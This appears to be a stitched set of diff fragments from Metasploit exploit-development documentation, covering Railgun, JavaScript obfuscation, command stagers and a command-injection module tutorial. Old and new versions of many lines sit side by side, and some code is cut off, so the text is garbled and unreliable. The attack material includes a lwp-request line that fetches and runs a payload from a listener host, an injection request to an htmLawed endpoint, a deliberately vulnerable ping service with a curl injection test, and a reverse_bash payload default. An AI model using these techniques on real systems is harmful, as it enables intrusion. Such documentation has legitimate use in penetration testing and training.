@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
session.inspect
```
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
```ruby
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
```
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
### Defining a DLL and its functions
## Defining a DLL and its functions
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
In function definitions, Railgun supports these datatypes: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
A quick way to define a new function at runtime can be done like the following example:
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
### Usage
## Usage
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
```
```msf
$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > run
@@ -72,70 +74,81 @@ msf exploit(handler) > run
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
[*] Starting IRB shell...
[*] You are in the "client" (session) object
>>
```
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
```ruby
session.railgun
railgun
```
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
To call a Windows API function, here's how:
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
### Memory Reading and Writing
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
## Memory Reading and Writing
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
```
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
```
>> session.railgun.memwrite(5898240, "AAAA", 4)
>> railgun.memwrite(address, "AAAA\x00".b)
=> true
```
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
```
>> session.railgun.memread(5898240, 4)
>> railgun.memread(address, 4)
=> "AAAA"
```
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
### References:
### Reading and Writing Strings
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
# The Vulnerability Test Case
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
**2. Declare your flavors**
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
An example of setting flavors for a specific target:
@@ -98,16 +98,37 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
**3. Create the execute_command method**
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
**4. Decide on the supported payloads**
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
```
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
**4. Executing a payload**
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
end
```
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
Over the years, we have also learned that these options are quite handy when calling
`execute_cmdstager`:
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
Flavors requiring the payload to be broken apart and embedded into the commands:
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
## Certutil Command Stager - Windows Only
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
```
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
* **TCP::max_send_size** - Evasive option. Maximum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provides all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
To get things started, you can always use the following template to start developing your browser exploit:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@@ -37,6 +37,10 @@ The `CheckCode` also supports an optional description which is printed by the fr
return CheckCode::Appears('Vulnerable component XYZ is installed')
```
`MetasploitModule#check` methods should capture any known `raise` from methods called and return value of class
`Msf::Exploit::CheckCode`. Basically, that means avoiding the use of `fail_with` or raising exceptions that are not
handled within the check method.
## Remote Check Example
Here's an abstract example of how a Metasploit check might be written:
@@ -54,7 +58,7 @@ def check
http_body = get_http_body
if http_body
if http_body =~ /Something CMS v1\.0/
# We are able to find the version thefore more precise about the vuln state
# We are able to find the version therefore more precise about the vuln state
return Exploit::CheckCode::Appears
elsif http_body =~ /Something CMS/
# All we can tell the vulnerable app is running, but no more info to
@@ -127,4 +131,28 @@ def check
end
```
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
## AutoCheck Mixin
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
```ruby
prepend Msf::Exploit::Remote::AutoCheck
```
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
| Checkcode | Module executed? |
| --------- | ----------- |
| **Exploit::CheckCode::Vulnerable** | yes |
| **Exploit::CheckCode::Appears** | yes |
| **Exploit::CheckCode::Detected** | yes |
| **Exploit::CheckCode::Safe** | no |
| **Exploit::CheckCode::Unsupported** | no |
| **Exploit::CheckCode::Unknown** | no |
This mixin brings two new options that let the operator control its behavior:
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
If you've found a way to execute a command on a target, and you'd like to make a simple exploit module to get a shell, this guide is for you. Alternatively, if you have access to **fetch** commands on the target (curl, wget, ftp, tftp, tnftp, or certutil), you can use a [[Fetch Payload|How-to-use-fetch-payloads]] for a no-code solution.
By the end of this guide you'll understand how to turn [Command injection](https://owasp.org/www-community/attacks/Command_Injection) into a shell - from here, you can move on to the [[command stager|How-to-use-command-stagers]] article and upgrade your basic `:unix_cmd` Target to a Dropper for all kinds of payloads with variable command stagers.
This guide assumes *some* knowledge of programming (Understand what a class is, what methods/functions are) but expects no in-depth knowledge of Metasploit internals.
## A Vulnerable Service
For the vulnerable service test case, we'll be using a simple FastAPI service. This is very easy to spin up:
1. Install `fastapi[all]` using your preferred Python package manager (a virtual environment is recommended)
2. Create a file to hold some Python code (I'll call it `main.py`)
3. Copy the following code into your file:
```python
from fastapi import FastAPI, Response
import subprocess
app = FastAPI()
@app.get("/ping")
def ping(ip : str):
res = subprocess.run(f"ping -c 1 {ip}", shell=True, capture_output=True)
4. Start your vulnerable service with `uvicorn main:app`
5. Test that the application works with `curl`:
```sh
$ curl http://localhost:8000/ping?ip=1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.7 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.739/16.739/16.739/0.000 ms
```
6. Test that your application is exploitable - also with `curl`:
```sh
$ curl localhost:8000/ping?ip=1.1.1.1%20%26%26id
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.6 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.614/16.614/16.614/0.000 ms
uid=1000(meta) gid=1000(meta)
```
With this output `uid=1000(meta) gid=1000(meta)`, we know that the `id` command successfully executed on the target system. Now that we have a vulnerable application we can write a module to pwn it.
## The Structure of a Module
To have a functioning command injection Metasploit module we **need** a few things:
1. Create a subclass of `Msf::Exploit::Remote`
2. Include the `Msf::Exploit::Remote::HttpClient` mixin
3. Define three methods:
- `initialize`, which defines metadata for the Module
- `execute_command`, which is what runs the command against the remote server
- `exploit`, wraps `execute_command`, and can handle some logic when we move to a cmdstager module
4. (Not required, but recommended) a method to substitute or escape bad characters, to be used inside `execute_command`. This could also just be done inside `execute_command` instead of a separate function call.
### Where to put a Module
Metasploit looks for custom modules at `$HOME/.msf4/modules`, but the way you get modules there varies based on how you're running Metasploit.
- If you have a full install of Metasploit on your host, you can just add your custom module to `$HOME/.msf4/modules/exploits/custom_mod.rb`.
- You can also just add a module to Metasploit's modules folder - This can be helpful when troubleshooting, but it's not recommended
- **Docker** If you're using the [Docker Image](https://github.com/rapid7/metasploit-framework/tree/master/docker), you can also add modules to `$HOME/.msf4/modules` and that folder will be mounted as a volume inside the Docker container
- You can also change the mount point by modifying the [docker-compose](https://github.com/rapid7/metasploit-framework/blob/master/docker-compose.yml) file
For testing, the easiest thing to do is the simplest. You can find Metasploit's **exploit** directory, copy a file, rename it, and go from there.
## A Shell of a Module
The shell of a module that follows the above format is something like this:
```ruby
class MetasploitModule < msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
# empty for now
end
def filter_bad_chars(cmd)
# empty for now
end
def execute_command(cmd, _opts = {})
# empty for now
end
def exploit
# empty for now
end
end
```
This covers every essential point from [The Structure of a Module](#the-structure-of-a-module), although it won't run yet.
## Initialize
The `initialize` method is used to define and pass metadata. Every `initialize` method in the metasploit-framework codebase follows the format of an empty `info` being passed into `update_info`, which gets passed to the `msf::Exploit::Remote``initialize` method:
```ruby
def initialize(info = {})
super(
update_info(
info,
# Here is where the metadata goes
'Name' => 'Command Injection against a test Ping endpoint',
'Description' => 'This exploits a command injection vulnerability against a test application',
'License' => MSF_LICENSE,
'Author' => 'YOUR NAME',
'References' => [
['URL', 'https://metasploit.com/']
],
'DisclosureDate' => '2023-08-04',
'Platform' => 'linux', # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
'Targets' => [
'Unix Command',
{
'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
'Payload' => {
'BadChars' => '\x00',
}
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
# Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
)
)
end
```
All that this method does is register metadata to the module.
## Filtering
It's important to ensure that payloads being sent are properly encoded. As an example, if you send a request to the `/ping` endpoint that looks like `/ping?ip=1.1.1.1&&id`, you won't see the "uid=1000(meta) gid=1000(meta)" in the response because `&` is a special character in HTTP.
Encoding requirements might change based on the application you're trying to inject, so experiment if things aren't working.
```ruby
def filter_bad_chars(cmd)
return cmd
.gsub(/&/, '%26')
.gsub(/ /, '%20')
end
```
`filter_bad_chars` takes in `cmd`, which is a string. `cmd` has two substitutions applied - the first will translate `&` to `%26`, the second translates a space to `%20`. The `.gsub` statements are a global substitution across the string, so the entire payload is impacted by the substitutions here (Similar to str.replace in Python). Regardless of whether or not the string is modified, it is returned.
## Execution
The `execute_command` method takes in `cmd` and `_opts` and executes the command on the target. In our case, executing a command is simply adding the command to a GET request and sending it to the `/ping` endpoint on our sample service.
We don't even need to handle the output of `send_request_cgi` (Really, there should be no return until the shell exits, since the call to `subprocess.run` doesn't return until that shell dies).
## Exploitation
To finish up, all we need is to define the `exploit` method. This method is called by Metasploit when you use `run` within a msfconsole. All that we'll do here is print a little status message and run the exploit, but later you can modify this method to handle droppers as well:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
```
If you're running Metasploit and the vulnerable Python service on the same machine, you should be able to simply set the variables and fire:
```sh
set RHOST 127.0.0.1
set LHOST 127.0.0.1
run
```
## Conclusion
That's it. Put it all together and you have a very simple Command Injection exploit module that shows you the basics of how to throw a payload. Play around with different payloads, follow the [[How-to-use-command-stagers]] guide, add some logging to the Python web server, and watch executions over Wireshark. You'll learn a lot.
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
